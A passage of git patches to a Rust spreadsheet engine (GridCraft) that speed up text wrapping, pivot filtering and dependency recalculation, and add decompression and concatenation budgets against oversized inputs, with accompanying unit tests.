a/crates/engine/src/cmd/print/tests.rs +++ b/crates/engine/src/cmd/print/tests.rs @@ -695,6 +695,79 @@ fn bands_unit() { assert!(w.len() > 2); } +/// The wrapper `wrap_lines` replaced, re-measuring strings, as the reference for its lines. +fn wrap_lines_remeasuring(text: &str, font: Font, size: f32, width: f32) -> Vec { + let mut out = Vec::new(); + for para in text.split('\n') { + let mut line = String::new(); + for word in para.split(' ') { + let cand = if line.is_empty() { word.to_string() } else { format!("{line} {word}") }; + if line.is_empty() || gridcraft_pdf::text_width(font, size, &cand) <= width { + line = cand; + } else { + out.push(std::mem::take(&mut line)); + line = word.to_string(); + } + while gridcraft_pdf::text_width(font, size, &line) > width && line.chars().count() > 1 { + let chars: Vec = line.chars().collect(); + let (mut lo, mut hi) = (1usize, chars.len()); + while lo < hi { + let mid = lo + (hi - lo).div_ceil(2); + let cut: String = chars[..mid].iter().collect(); + if gridcraft_pdf::text_width(font, size, &cut) <= width { + lo = mid; + } else { + hi = mid - 1; + } + } + if lo == chars.len() { + break; + } + out.push(chars[..lo].iter().collect()); + line = chars[lo..].iter().collect(); + } + if out.len() > 2000 { + return out; + } + } + out.push(line); + } + out +} + +#[test] +fn wrap_lines_matches_the_remeasuring_wrapper() { + let texts = [ + "the quick brown fox jumps", + "Supercalifragilistic", + "a b c\n\nverylongwordthatneedsbreaking short\nend ", + "Wide WWWWWWWWWW words, iiiiiiii narrow ones; mixed MMMMiiiiMMMM", + "€ ü ß — unicode Ünïcödé text", + "", + " ", + ]; + for text in texts { + for font in [Font::Helvetica, Font::HelveticaBold, Font::Courier] { + for (size, width) in [(10.0, 50.0), (10.0, 20.0), (11.0, 1.0), (8.0, 300.0), (12.0, 0.0)] { + assert_eq!(wrap_lines(text, font, size, width), wrap_lines_remeasuring(text, font, size, width), "{text:?} {font:?} {size} {width}"); + } + } + } +} + +#[test] +fn wrapping_a_long_word_in_a_narrow_box_stops_at_the_line_limit() { + // One character per line: the old wrapper re-measured and copied the rest of the word for + // each of the 100,000 lines before checking the limit. + let word = "w".repeat(100_000); + let lines = wrap_lines(&word, Font::Helvetica, 10.0, 1.0); + assert!(lines.len() <= 2002, "{}", lines.len()); + assert!(lines.iter().all(|l| l == "w")); + // A long paragraph in a very wide box is one line. + let para = vec!["word"; 50_000].join(" "); + assert_eq!(wrap_lines(¶, Font::Helvetica, 10.0, 1.0e9), vec![para.clone()]); +} + #[test] fn center_across_spans_following_empty_center_across_cells() { let mut styles = StyleTable::default(); diff --git a/crates/engine/src/cmd/print/text.rs b/crates/engine/src/cmd/print/text.rs index 6f71699ce..0523aa4ff 100644 --- a/crates/engine/src/cmd/print/text.rs +++ b/crates/engine/src/cmd/print/text.rs @@ -3,42 +3,57 @@ use super::{CellRef, Color, Font, HAlign, MAX_COLS, Page, Point, RangeRef, Sheet const PAD_PX: f32 = 2.0; +/// Most lines [`wrap_lines`] returns (it may return one more, the rest of a paragraph). +const MAX_WRAP_LINES: usize = 2000; + /// Word-wraps `text` to `width` points. +/// +/// Widths are kept as running sums of glyph widths (the sum `text_width` makes), so each +/// character is measured once: re-measuring the line for every word, or the rest of an +/// over-long word for every piece cut from it, made a long paragraph or word quadratic. pub(super) fn wrap_lines(text: &str, font: Font, size: f32, width: f32) -> Vec { + let units_of = |s: &str| -> u64 { s.chars().map(|c| u64::from(font.char_width(c))).sum() }; + let fits = |units: u64| units as f32 * size / 1000.0 <= width; + let space = units_of(" "); let mut out = Vec::new(); for para in text.split('\n') { let mut line = String::new(); + let mut line_units: u64 = 0; for word in para.split(' ') { - let cand = if line.is_empty() { word.to_string() } else { format!("{line} {word}") }; - if line.is_empty() || gridcraft_pdf::text_width(font, size, &cand) <= width { - line = cand; + let word_units = units_of(word); + if line.is_empty() { + line.push_str(word); + line_units = word_units; + } else if fits(line_units + space + word_units) { + line.push(' '); + line.push_str(word); + line_units += space + word_units; } else { out.push(std::mem::take(&mut line)); - line = word.to_string(); + line.push_str(word); + line_units = word_units; } - // Break a single over-long word by characters. The cut that fits is found by binary - // search (each try measures one candidate prefix), so an over-long word costs - // O(n log n) measurements instead of re-measuring the whole cut per character for - // every emitted line (`a` × 100k pasted text would be cubic worst case). - while gridcraft_pdf::text_width(font, size, &line) > width && line.chars().count() > 1 { - let chars: Vec = line.chars().collect(); - let (mut lo, mut hi) = (1usize, chars.len()); - while lo < hi { - let mid = lo + (hi - lo).div_ceil(2); - let cut: String = chars[..mid].iter().collect(); - if gridcraft_pdf::text_width(font, size, &cut) <= width { - lo = mid; - } else { - hi = mid - 1; + // Break a single over-long word by characters: each piece is the longest that fits + // (at least one character). + if !fits(line_units) && line.chars().nth(1).is_some() { + let mut piece = String::new(); + let mut units: u64 = 0; + for c in line.chars() { + let w = u64::from(font.char_width(c)); + if !piece.is_empty() && !fits(units + w) { + out.push(std::mem::take(&mut piece)); + units = 0; + if out.len() > MAX_WRAP_LINES { + return out; + } } + piece.push(c); + units += w; } - if lo == chars.len() { - break; - } - out.push(chars[..lo].iter().collect()); - line = chars[lo..].iter().collect(); + line = piece; + line_units = units; } - if out.len() > 2000 { + if out.len() > MAX_WRAP_LINES { return out; } } From 014f030a15d586ddc0ff5d775fa51991cabb8907 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 18:10:48 -0500 Subject: [PATCH 283/298] engine: PivotTable filters test each record against a set of selected labels (#3279) Every source record scanned the filter's whole selection, so a large selection multiplied by many records was slow even when nothing passed. Each filter's labels are lowercased into a set once per computation. --- crates/engine/src/cmd/pivot/tests.rs | 13 +++++++++++++ crates/engine/src/pivot/compute.rs | 11 ++++++++--- 2 files changed, 21 insertions(+), 3 deletions(-) diff --git a/crates/engine/src/cmd/pivot/tests.rs b/crates/engine/src/cmd/pivot/tests.rs index 308d30f4a..3748d0705 100644 --- a/crates/engine/src/cmd/pivot/tests.rs +++ b/crates/engine/src/cmd/pivot/tests.rs @@ -168,6 +168,19 @@ fn filters_and_report_filter_rows() { assert!(s.execute("pivot.filter", json!({"field": "Product", "selected": []})).is_err()); } +/// A selection of the most labels allowed (100,000) is looked up once per record, not scanned: the +/// report still filters case-insensitively. +#[test] +fn a_huge_filter_selection_is_matched_through_a_set() { + let mut s = sales(); + s.execute("insert.pivotTable", json!({"rows": ["Product"], "values": ["Sales"], "filters": ["Region"]})).unwrap(); + let mut selected: Vec = (0..99_999).map(|i| format!("Region {i}")).collect(); + selected.push("EAST".into()); + s.execute("pivot.filter", json!({"field": "Region", "selected": selected})).unwrap(); + let gt = find_row(&s, "Grand Total").unwrap(); + assert_eq!(val(&s, &CellRef::new(gt, 1).a1()), Value::Number(415.0)); +} + #[test] fn show_values_as() { let mut s = sales(); diff --git a/crates/engine/src/pivot/compute.rs b/crates/engine/src/pivot/compute.rs index 0ffa8cae5..90e81408d 100644 --- a/crates/engine/src/pivot/compute.rs +++ b/crates/engine/src/pivot/compute.rs @@ -77,6 +77,8 @@ struct AggregateInput<'a> { extra: &'a [usize], filters: &'a [(usize, &'a PivotFilter, PivotDateGroup, bool)], filter_fmts: &'a [String], + /// Each filter's selected labels, ASCII-lowercased, so a record's test is one probe. + filter_sets: &'a [Option>], row_fmts: &'a [String], col_fmts: &'a [String], empty: bool, @@ -99,10 +101,10 @@ fn aggregate_record( ri: usize, rec: &[Value], ) -> Result<(), String> { - for ((c, field, group, _), fmt) in input.filters.iter().zip(input.filter_fmts) { - if let Some(selected) = &field.selected { + for (((c, _, group, _), fmt), selected) in input.filters.iter().zip(input.filter_fmts).zip(input.filter_sets) { + if let Some(selected) = selected { let label = item_label(input.wb, rec.get(*c).unwrap_or(&Value::Empty), *group, fmt); - if !selected.iter().any(|value| value.eq_ignore_ascii_case(&label)) { + if !selected.contains(&label.to_ascii_lowercase()) { return Ok(()); } } @@ -475,6 +477,8 @@ pub(super) fn compute_from(wb: &Workbook, pt: &PivotTable, src: &Source, mut pro // ---- aggregate let filter_fmts: Vec = filters.iter().map(|f| fmt_of(f.0)).collect(); + let filter_sets: Vec>> = + filters.iter().map(|(_, field, _, _)| field.selected.as_ref().map(|s| s.iter().map(|v| v.to_ascii_lowercase()).collect())).collect(); let row_fmts: Vec = rows.iter().map(|(c, _)| fmt_of(*c)).collect(); let col_fmts: Vec = cols.iter().map(|(c, _)| fmt_of(*c)).collect(); let aggregate = aggregate_source( @@ -488,6 +492,7 @@ pub(super) fn compute_from(wb: &Workbook, pt: &PivotTable, src: &Source, mut pro extra: &extra, filters: &filters, filter_fmts: &filter_fmts, + filter_sets: &filter_sets, row_fmts: &row_fmts, col_fmts: &col_fmts, empty, From 74111e5a9335011e2fe029866512054b1d841cd6 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:50:40 -0500 Subject: [PATCH 284/298] check: charge relationship parts to the package's decompression budget (#3185) * check: charge relationship parts to the package's decompression budget * address review: charge bytes read before a package part decompression error --- apps/gridcraft-cli/src/check/package.rs | 78 ++++++++++++++++++++++++- 1 file changed, 75 insertions(+), 3 deletions(-) diff --git a/apps/gridcraft-cli/src/check/package.rs b/apps/gridcraft-cli/src/check/package.rs index 6b97fa495..c0def7037 100644 --- a/apps/gridcraft-cli/src/check/package.rs +++ b/apps/gridcraft-cli/src/check/package.rs @@ -6,6 +6,10 @@ const MAX_XML_PART: u64 = 64 * 1024 * 1024; /// Most zip entries looked at while validating a written package. const MAX_ENTRIES: usize = 200_000; +/// Decompressed bytes that comparing one package's relationship kinds may read in total: the +/// relationship parts themselves and the targets whose content is checked. +const RELATIONSHIP_BUDGET: u64 = 512 * 1024 * 1024; + /// Relationship kinds (lower case) whose absence after a save isn't a loss: the calculation chain is /// a cache Excel rebuilds, and GridCraft never writes it. pub(super) const REBUILT_KINDS: [&str; 1] = ["calcchain"]; @@ -117,6 +121,30 @@ fn read_zip_part(zip: &mut Zip<'_>, name: &str) -> Result, String> { Ok(buf) } +enum PartError { + /// Reading the part would spend more than the remaining budget. + OverBudget, + Unreadable, +} + +/// Reads a part like [`read_zip_part`], charging the decompressed bytes to `budget`. +fn read_zip_part_within(zip: &mut Zip<'_>, name: &str, budget: &mut u64) -> Result, PartError> { + let f = zip.by_name(name).map_err(|_| PartError::Unreadable)?; + // One byte past what is left shows that the part doesn't fit. + let limit = MAX_XML_PART.min(budget.saturating_add(1)); + let mut buf = Vec::new(); + // Bytes read before a decompression error still count against the budget. + let res = f.take(limit).read_to_end(&mut buf); + let read = buf.len() as u64; + if read > *budget { + *budget = 0; + return Err(PartError::OverBudget); + } + *budget -= read; + res.map_err(|_| PartError::Unreadable)?; + Ok(buf) +} + /// Whether the producer flagged its cached results as stale with ``: /// libraries that don't calculate write it, and store 0 or nothing as every formula's value. pub(super) fn full_calc_on_load(bytes: &[u8]) -> bool { @@ -232,19 +260,30 @@ pub fn validate_package(bytes: &[u8]) -> Result, String> { /// nothing are left out, as a save may rightly drop them: a link to a place in the workbook /// (`#Sheet1!A1`, written as a cell's `location`) and a target part with nothing in it. pub(super) fn relationship_kinds(bytes: &[u8]) -> Result, String> { + relationship_kinds_within(bytes, RELATIONSHIP_BUDGET) +} + +/// [`relationship_kinds`] reading at most `budget` decompressed bytes. `Err` once the relationship +/// parts alone need more: their kinds can't be listed completely. +fn relationship_kinds_within(bytes: &[u8], mut budget: u64) -> Result, String> { let mut zip = zip::ZipArchive::new(Cursor::new(bytes)).map_err(|e| format!("not a zip package: {e}"))?; let names = zip_names(&mut zip); let by_key: HashMap = names.iter().map(|n| (part_key(n), n)).collect(); // Several relationships name the same part; each fresh check decompressed it again, so // repeated references to one highly compressible part multiplied the work. The verdict is // remembered per (part, named content) and the decompression the package can cause is - // budgeted as a whole (finding: repeated decompression). + // budgeted as a whole, the relationship parts included: many large, unreferenced rels parts + // would otherwise each spend a full per-part allowance. let mut verdicts: HashMap<(String, &'static str), bool> = HashMap::new(); - let mut budget: u64 = 512 * 1024 * 1024; let mut kinds = BTreeMap::new(); for n in names.iter().filter(|n| part_key(n).ends_with(".rels")) { let Some(src_dir) = rels_source_dir(&part_key(n)) else { continue }; - let Ok(els) = read_zip_part(&mut zip, n).and_then(|xml| xml_elements(&xml)) else { continue }; + let xml = match read_zip_part_within(&mut zip, n, &mut budget) { + Ok(xml) => xml, + Err(PartError::OverBudget) => return Err(format!("{n}: relationship check stopped at its decompression limit")), + Err(PartError::Unreadable) => continue, + }; + let Ok(els) = xml_elements(&xml) else { continue }; for (_, attrs) in els.iter().filter(|(el, _)| el == "Relationship") { let Some(kind) = attr(attrs, "Type").and_then(|t| t.rsplit('/').next()) else { continue }; let target = attr(attrs, "Target").unwrap_or(""); @@ -329,3 +368,36 @@ fn holds_something_uncached(zip: &mut Zip<'_>, name: &str, marker: &'static str, buf.clear(); } } + +#[cfg(test)] +mod tests { + use std::io::Write as _; + + use super::*; + + /// A package with `count` relationship parts of `size` bytes each, none of them describing an + /// existing part. + fn many_rels(count: usize, size: usize) -> Vec { + let mut z = zip::ZipWriter::new(Cursor::new(Vec::new())); + let opts = zip::write::SimpleFileOptions::default().compression_method(zip::CompressionMethod::Deflated); + let head = r#""#; + let tail = ""; + let filler = " ".repeat(size.saturating_sub(head.len() + tail.len())); + for i in 0..count { + z.start_file(format!("xl/_rels/part{i}.xml.rels"), opts).unwrap(); + z.write_all(head.as_bytes()).unwrap(); + z.write_all(filler.as_bytes()).unwrap(); + z.write_all(tail.as_bytes()).unwrap(); + } + z.finish().unwrap().into_inner() + } + + #[test] + fn relationship_parts_count_against_the_decompression_budget() { + // Each part fits the per-part allowance, but together they need more than the budget. + let bytes = many_rels(8, 64 * 1024); + assert!(relationship_kinds_within(&bytes, 256 * 1024).is_err()); + let kinds = relationship_kinds_within(&bytes, 1024 * 1024).unwrap(); + assert_eq!(kinds.get("custom").map(String::as_str), Some("custom")); + } +} From c0ea297615c8a48f20797e7204541d1cf29dc8bc Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:51:11 -0500 Subject: [PATCH 285/298] calc: cap the text one & over arrays may build in all (#3189) * calc: cap the text one & over arrays may build in all * address review: concatenation over arrays stops at the byte budget without reserving the whole broadcast --- crates/calc/src/eval/array.rs | 80 ++++++++++++++++++++++++++++++++++- 1 file changed, 79 insertions(+), 1 deletion(-) diff --git a/crates/calc/src/eval/array.rs b/crates/calc/src/eval/array.rs index 67662c83c..39a6e0f53 100644 --- a/crates/calc/src/eval/array.rs +++ b/crates/calc/src/eval/array.rs @@ -86,6 +86,30 @@ pub fn zip2(a: &Value, b: &Value, f: impl Fn(&Value, &Value) -> Value) -> Value } } +/// [`zip2`] that stops at the first cell `f` refuses (`None`), before the rest is built: the +/// result grows as cells are made rather than being reserved for the whole broadcast up front. +fn try_zip2(a: &Value, b: &Value, mut f: impl FnMut(&Value, &Value) -> Option) -> Option { + Some(match (a, b) { + (Value::Array(x), Value::Array(y)) => { + let rows = broadcast_dim(x.rows, y.rows); + let cols = broadcast_dim(x.cols, y.cols); + if broadcast_len(rows, cols).is_none() { + return Some(Value::Error(CellError::Num)); + } + let mut data = Vec::new(); + for r in 0..rows { + for c in 0..cols { + data.push(f(&x.get_broadcast(r, c), &y.get_broadcast(r, c))?); + } + } + Value::from(Array { rows, cols, data }) + } + (Value::Array(x), s) => Value::from(Array { rows: x.rows, cols: x.cols, data: x.data.iter().map(|v| f(v, s)).collect::>()? }), + (s, Value::Array(y)) => Value::from(Array { rows: y.rows, cols: y.cols, data: y.data.iter().map(|v| f(s, v)).collect::>()? }), + (x, y) => f(x, y)?, + }) +} + /// Cell count of a `rows`×`cols` broadcast result, or `None` when it would exceed [`MAX_CELLS`]. /// Each operand passes its own size cap, but their broadcast product can be far larger /// (`SEQUENCE(1048576)*SEQUENCE(1,16384)` is 17 billion cells), so it is checked before allocating. @@ -135,10 +159,36 @@ pub(super) fn single(v: Value) -> Option { } } +/// Text bytes that one `&` over arrays may produce in all. Each piece is capped on its own, but a +/// compact formula can broadcast a long text across millions of cells +/// (`SEQUENCE(4000,4000)&REPT("x",30000)` is 480 GB): past this the whole result is `#NUM!`, the +/// error for a result too large to hold, before the rest is built. +pub(super) const MAX_CONCAT_ARRAY_BYTES: usize = 512 * 1024 * 1024; + pub fn binary_values(op: BinOp, x: &Value, y: &Value, sys: gridcraft_core::DateSystem) -> Value { + if op == BinOp::Concat && (matches!(x, Value::Array(_)) || matches!(y, Value::Array(_))) { + return concat_arrays(x, y, sys, MAX_CONCAT_ARRAY_BYTES); + } zip2(x, y, |a, b| binary_scalar(op, a, b, sys)) } +/// `x & y` with at least one array operand, giving `#NUM!` once the texts built so far pass `budget` +/// bytes. +fn concat_arrays(x: &Value, y: &Value, sys: gridcraft_core::DateSystem, budget: usize) -> Value { + let mut used = 0usize; + try_zip2(x, y, |a, b| { + let v = binary_scalar(BinOp::Concat, a, b, sys); + if let Value::Text(t) = &v { + used = used.saturating_add(t.len()); + if used > budget { + return None; + } + } + Some(v) + }) + .unwrap_or(Value::Error(CellError::Num)) +} + fn binary_scalar(op: BinOp, a: &Value, b: &Value, sys: gridcraft_core::DateSystem) -> Value { if let Value::Error(e) = a { return Value::Error(*e); @@ -187,7 +237,35 @@ fn binary_scalar(op: BinOp, a: &Value, b: &Value, sys: gridcraft_core::DateSyste #[cfg(test)] mod tests { - use super::{MAX_CELLS, broadcast_len}; + use super::{Array, BinOp, CellError, MAX_CELLS, Value, broadcast_len, concat_arrays, try_zip2}; + + /// The broadcast stops at the first refused cell: nothing after it is visited. + #[test] + fn a_refused_cell_stops_the_broadcast() { + let col = Value::from(Array::column((0..4_000).map(|i| Value::number(i as f64)).collect())); + let row = Value::from(Array { rows: 1, cols: 4_000, data: (0..4_000).map(|i| Value::number(i as f64)).collect() }); + let mut calls = 0; + let r = try_zip2(&col, &row, |a, _| { + calls += 1; + (calls <= 10).then(|| a.clone()) + }); + assert_eq!((r, calls), (None, 11)); + } + + #[test] + fn concatenating_arrays_stops_at_the_byte_budget() { + let sys = gridcraft_core::DateSystem::default(); + let col = Value::from(Array::column((0..100).map(|i| Value::number(i as f64)).collect())); + let long = Value::text("x".repeat(100)); + // 100 cells of 101 or 102 bytes each: about 10 KB in all. + let r = concat_arrays(&col, &long, sys, 20_000); + assert!(matches!(&r, Value::Array(a) if a.data.len() == 100), "{r:?}"); + assert_eq!(concat_arrays(&col, &long, sys, 5_000), Value::Error(CellError::Num)); + assert_eq!(concat_arrays(&long, &col, sys, 5_000), Value::Error(CellError::Num)); + // Through the operator, a small result is unaffected. + let r = super::binary_values(BinOp::Concat, &col, &Value::text("a"), sys); + assert!(matches!(&r, Value::Array(a) if a.data.first() == Some(&Value::text("0a"))), "{r:?}"); + } #[test] fn broadcast_len_caps_at_max_cells() { From db05400e67aed3831e5368a4991a12bfe3110be6 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:51:29 -0500 Subject: [PATCH 286/298] calc: list each dependent once when a change spreads (#3190) * calc: list each dependent once when a change spreads * calc: check the dependency closure against a walk of every cell Random graphs of single-cell, narrow and wide range reads (some removed or unsettled), random seeds and changed areas: the closure with shared taken records and area lookups equals the one listing every dependent of every changed cell. --- crates/calc/src/recalc.rs | 192 +++++++++++++++++++++++++++++--- crates/calc/src/recalc/graph.rs | 81 ++++++++++++++ 2 files changed, 259 insertions(+), 14 deletions(-) diff --git a/crates/calc/src/recalc.rs b/crates/calc/src/recalc.rs index 63ac533de..160e0d60d 100644 --- a/crates/calc/src/recalc.rs +++ b/crates/calc/src/recalc.rs @@ -24,7 +24,7 @@ mod pass_host; #[cfg(test)] use graph::Intervals; pub use graph::{FxHasher, Graph, Key}; -use graph::{HashMap, HashSet, Node}; +use graph::{HashMap, HashSet, Node, Taken}; use pass_host::{PassHost, spills_as_before}; /// Calculation state kept beside a workbook. @@ -292,17 +292,16 @@ impl Calc { } } } - // Spill areas of changed anchors also change. + // Spill areas of changed anchors also change. They stay rectangles: one seed per spilled + // cell listed the formulas reading the area once per cell. + let mut areas: Vec<(usize, RangeRef)> = cleared; for &k in changed { if let Some(r) = wb.sheet(k.0).and_then(|s| s.spill_ranges.get(&k.1)) { - seeds.extend(r.iter().map(|c| (k.0, c))); + areas.push((k.0, *r)); } } - for (si, r) in &cleared { - seeds.extend(r.iter().map(|c| (*si, c))); - } let t0 = prof_now(); - let dirty = self.dirty_closure(wb, &seeds); + let dirty = self.dirty_closure(wb, &seeds, &areas); let t1 = prof_now(); let n = dirty.len(); self.run(wb, dirty, false); @@ -311,16 +310,39 @@ impl Calc { } } - fn dirty_closure(&self, _wb: &Workbook, seeds: &[Key]) -> Vec { + /// The formulas to recalculate after `seeds` and every cell of `areas` changed: the seeds + /// that are formulas, and everything that reads them, directly or through other formulas. + fn dirty_closure(&self, wb: &Workbook, seeds: &[Key], areas: &[(usize, RangeRef)]) -> Vec { let mut seen: HashSet = HashSet::default(); let mut queue: VecDeque = VecDeque::new(); + // Each range-index entry is listed once in the whole walk: many changed cells under one + // broad reference (or many formulas inside one) would otherwise list every formula reading + // it once per cell, which squared the work. + let mut taken = Taken::default(); + let mut deps = Vec::new(); for k in seeds { if self.graph.nodes.contains_key(k) && seen.insert(*k) { queue.push_back(*k); } - let mut deps = Vec::new(); - self.graph.dependents(k.0, k.1, &mut deps); - for d in deps { + deps.clear(); + self.graph.dependents_untaken(k.0, k.1, &mut taken, &mut deps); + for d in deps.drain(..) { + if seen.insert(d) { + queue.push_back(d); + } + } + } + for &(si, r) in areas { + if let Some(sh) = wb.sheet(si) { + for (c, _) in sh.cells.iter_range(r) { + if self.graph.nodes.contains_key(&(si, c)) && seen.insert((si, c)) { + queue.push_back((si, c)); + } + } + } + deps.clear(); + self.graph.dependents_of_range(si, r, &mut deps); + for d in deps.drain(..) { if seen.insert(d) { queue.push_back(d); } @@ -331,10 +353,9 @@ impl Calc { queue.push_back(*k); } } - let mut deps = Vec::new(); while let Some(k) = queue.pop_front() { deps.clear(); - self.graph.dependents(k.0, k.1, &mut deps); + self.graph.dependents_untaken(k.0, k.1, &mut taken, &mut deps); for d in deps.drain(..) { if seen.insert(d) { queue.push_back(d); @@ -411,7 +432,7 @@ impl Calc { if spill_changes.is_empty() { break; } - dirty = self.dirty_closure(wb, &spill_changes); + dirty = self.dirty_closure(wb, &spill_changes, &[]); } // Loops among formulas the run did not evaluate stay listed while they are still formulas. // Iterative calculation reports none. @@ -691,6 +712,149 @@ pub(crate) mod tests { assert!(visited < 64, "visited {visited} nodes for no match"); } + #[test] + fn untaken_queries_list_each_interval_once_in_all() { + // 1,000 ranges over every row of 5,000: point queries at every row used to list all 1,000 + // each time (5 million matches); sharing `taken`, each range is listed once in all. + let n = 5_000u32; + let mut iv: Intervals = Intervals::default(); + for t in 0..1_000 { + iv.insert(0, n, t); + } + for r in 0..n { + iv.insert(r, r, 10_000 + r); + } + iv.settle(); + let mut taken = Vec::new(); + let mut listed = Vec::new(); + for row in 0..=n + 3 { + iv.query_untaken(row, row, &mut taken, &mut |t| { + listed.push(*t); + true + }); + } + listed.sort_unstable(); + let want: Vec = (0..1_000).chain(10_000..10_000 + n).collect(); + assert_eq!(listed, want); + // An entry the caller declines is offered again. + let mut taken = Vec::new(); + let mut offered = 0; + for _ in 0..3 { + iv.query_untaken(7, 7, &mut taken, &mut |t| { + if *t == 10_007 { + offered += 1; + } + *t != 10_007 + }); + } + assert_eq!(offered, 3); + } + + #[test] + fn dirty_closure_matches_a_walk_of_every_cell() { + // Random formulas over single cells, narrow ranges and wide (over 64 columns) ranges, some + // removed or left unsettled: the closure equals the one found by listing every dependent + // of every changed cell, area cells included, as before `taken` and areas existed. + use super::{HashSet, Node}; + use crate::eval::Area; + use std::collections::VecDeque; + let mut s = 0x2545_F491_4F6C_DD1D; + for case in 0..40 { + let mut wb = Workbook::new(); + let mut calc = Calc::new(); + let pick = |s: &mut u64, n: u64| (rng(s) % n) as u32; + let mut keys: Vec = Vec::new(); + for _ in 0..300 { + let k = (0, CellRef::new(pick(&mut s, 120), pick(&mut s, 150))); + let mut areas = Vec::new(); + for _ in 0..1 + pick(&mut s, 3) { + let start = CellRef::new(pick(&mut s, 120), pick(&mut s, 150)); + let end = match pick(&mut s, 3) { + 0 => start, + 1 => CellRef::new(start.row + pick(&mut s, 40), start.col + pick(&mut s, 5)), + _ => CellRef::new(start.row + pick(&mut s, 20), start.col + 65 + pick(&mut s, 30)), + }; + areas.push(Area { sheet: 0, range: RangeRef::new(start, end) }); + } + if let Some(sh) = wb.sheet_mut(0) { + sh.cells.set(k.1, Cell::formula(Formula::new("=1"))); + } + calc.graph.insert(k, Node { areas, dynamic: false }); + keys.push(k); + if rng(&mut s).is_multiple_of(7) { + calc.graph.settle(); + } + } + for _ in 0..30 { + let k = keys[(rng(&mut s) % keys.len() as u64) as usize]; + calc.graph.remove(k); + if let Some(sh) = wb.sheet_mut(0) { + sh.cells.remove(k.1); + } + } + if case % 2 == 0 { + calc.graph.settle(); + } + let seeds: Vec = (0..1 + pick(&mut s, 25)).map(|_| (0, CellRef::new(pick(&mut s, 140), pick(&mut s, 220)))).collect(); + let areas: Vec<(usize, RangeRef)> = (0..pick(&mut s, 3)) + .map(|_| { + let start = CellRef::new(pick(&mut s, 120), pick(&mut s, 150)); + (0, RangeRef::new(start, CellRef::new(start.row + pick(&mut s, 30), start.col + pick(&mut s, 80)))) + }) + .collect(); + let got: HashSet = calc.dirty_closure(&wb, &seeds, &areas).into_iter().collect(); + // The walk before: every area cell is a seed, and every cell lists all its dependents. + let mut all = seeds.clone(); + for (si, r) in &areas { + all.extend(r.iter().map(|c| (*si, c))); + } + let mut want: HashSet = HashSet::default(); + let mut queue: VecDeque = VecDeque::new(); + let mut deps = Vec::new(); + for k in &all { + if calc.graph.nodes.contains_key(k) && want.insert(*k) { + queue.push_back(*k); + } + deps.clear(); + calc.graph.dependents(k.0, k.1, &mut deps); + queue.extend(deps.iter().copied().filter(|d| want.insert(*d))); + } + while let Some(k) = queue.pop_front() { + deps.clear(); + calc.graph.dependents(k.0, k.1, &mut deps); + queue.extend(deps.iter().copied().filter(|d| want.insert(*d))); + } + assert_eq!(got, want, "case {case}"); + } + } + + #[test] + fn clearing_a_spill_recalculates_formulas_reading_it_once_each() { + // 300 formulas read the area an anchor spills into; clearing the anchor changes all of it + // and every one of them is recalculated (they were listed once per spilled cell). + let mut wb = Workbook::new(); + let mut calc = Calc::new(); + let set = |wb: &mut Workbook, calc: &mut Calc, at: CellRef, input: &str| { + if let Some(sh) = wb.sheet_mut(0) { + if input.is_empty() { + sh.cells.remove(at); + } else { + sh.cells.set(at, Cell::formula(Formula::new(input))); + } + } + calc.cells_changed(wb, &[(0, at)]); + }; + set(&mut wb, &mut calc, CellRef::new(0, 0), "=SEQUENCE(2000)"); + for r in 0..300 { + set(&mut wb, &mut calc, CellRef::new(r, 2), "=COUNT(A1:A2000)"); + } + assert_eq!(wb.sheet(0).map(|s| s.value(CellRef::new(299, 2))), Some(Value::Number(2000.0))); + set(&mut wb, &mut calc, CellRef::new(0, 0), ""); + for r in 0..300 { + assert_eq!(wb.sheet(0).map(|s| s.value(CellRef::new(r, 2))), Some(Value::Number(0.0)), "row {r}"); + } + } + /// `rows` rows of six numbers (E:J) and `=SUM(E{r}:J{r})` in K. fn sum_rows(rows: u32) -> Workbook { let mut wb = Workbook::new(); diff --git a/crates/calc/src/recalc/graph.rs b/crates/calc/src/recalc/graph.rs index ab034f8cc..f8a100eb3 100644 --- a/crates/calc/src/recalc/graph.rs +++ b/crates/calc/src/recalc/graph.rs @@ -151,6 +151,54 @@ impl Intervals { self.walk(1, 0, self.max_end.len() / 2, p, a, f) } + /// [`Intervals::query`] that skips entries an earlier call with the same `taken` already + /// took (and whole subtrees of them), so that a series of queries lists each interval once in + /// all. `f` answers whether it took the entry; one it declines is offered again later. + /// `taken` belongs to this index as it is now; start it empty. Pending insertions (a few at + /// most after [`Intervals::settle`]) are offered every time. + pub(super) fn query_untaken(&self, a: u32, b: u32, taken: &mut Vec, f: &mut dyn FnMut(&T) -> bool) { + for it in &self.pending { + if it.0 <= b && it.1 >= a { + f(&it.2); + } + } + let p = self.items.partition_point(|it| it.0 <= b); + if p == 0 { + return; + } + if taken.len() != self.max_end.len() { + *taken = vec![false; self.max_end.len()]; + } + self.walk_untaken(1, 0, self.max_end.len() / 2, p, a, taken, f); + } + + /// Returns whether everything under `node` has now been reported (or is dead). + #[allow(clippy::too_many_arguments)] + fn walk_untaken(&self, node: usize, lo: usize, hi: usize, p: usize, a: u32, taken: &mut [bool], f: &mut dyn FnMut(&T) -> bool) -> bool { + if taken.get(node).copied().unwrap_or(true) { + return true; + } + if lo >= p || self.max_end.get(node).is_none_or(|m| *m < a) { + return false; + } + let done = if hi - lo <= 1 { + match (self.items.get(lo), self.dead.get(lo)) { + (Some(it), Some(false)) if it.1 >= a => f(&it.2), + (Some(_), Some(true)) => true, + _ => false, + } + } else { + let mid = lo + (hi - lo) / 2; + let left = self.walk_untaken(2 * node, lo, mid, p, a, taken, f); + let right = self.walk_untaken(2 * node + 1, mid, hi, p, a, taken, f); + left && right + }; + if done && let Some(slot) = taken.get_mut(node) { + *slot = true; + } + done + } + fn walk(&self, node: usize, lo: usize, hi: usize, p: usize, a: u32, f: &mut dyn FnMut(&T)) -> usize { if lo >= p || self.max_end.get(node).is_none_or(|m| *m < a) { return 1; @@ -168,6 +216,13 @@ impl Intervals { } } +/// Range-index entries one dependency walk has already listed (see [`Graph::dependents_untaken`]). +#[derive(Default)] +pub(super) struct Taken { + cols: HashMap<(usize, u32), Vec>, + wide: HashMap>, +} + #[derive(Clone, Debug, Default)] pub struct Graph { pub(super) nodes: HashMap, @@ -302,6 +357,32 @@ impl 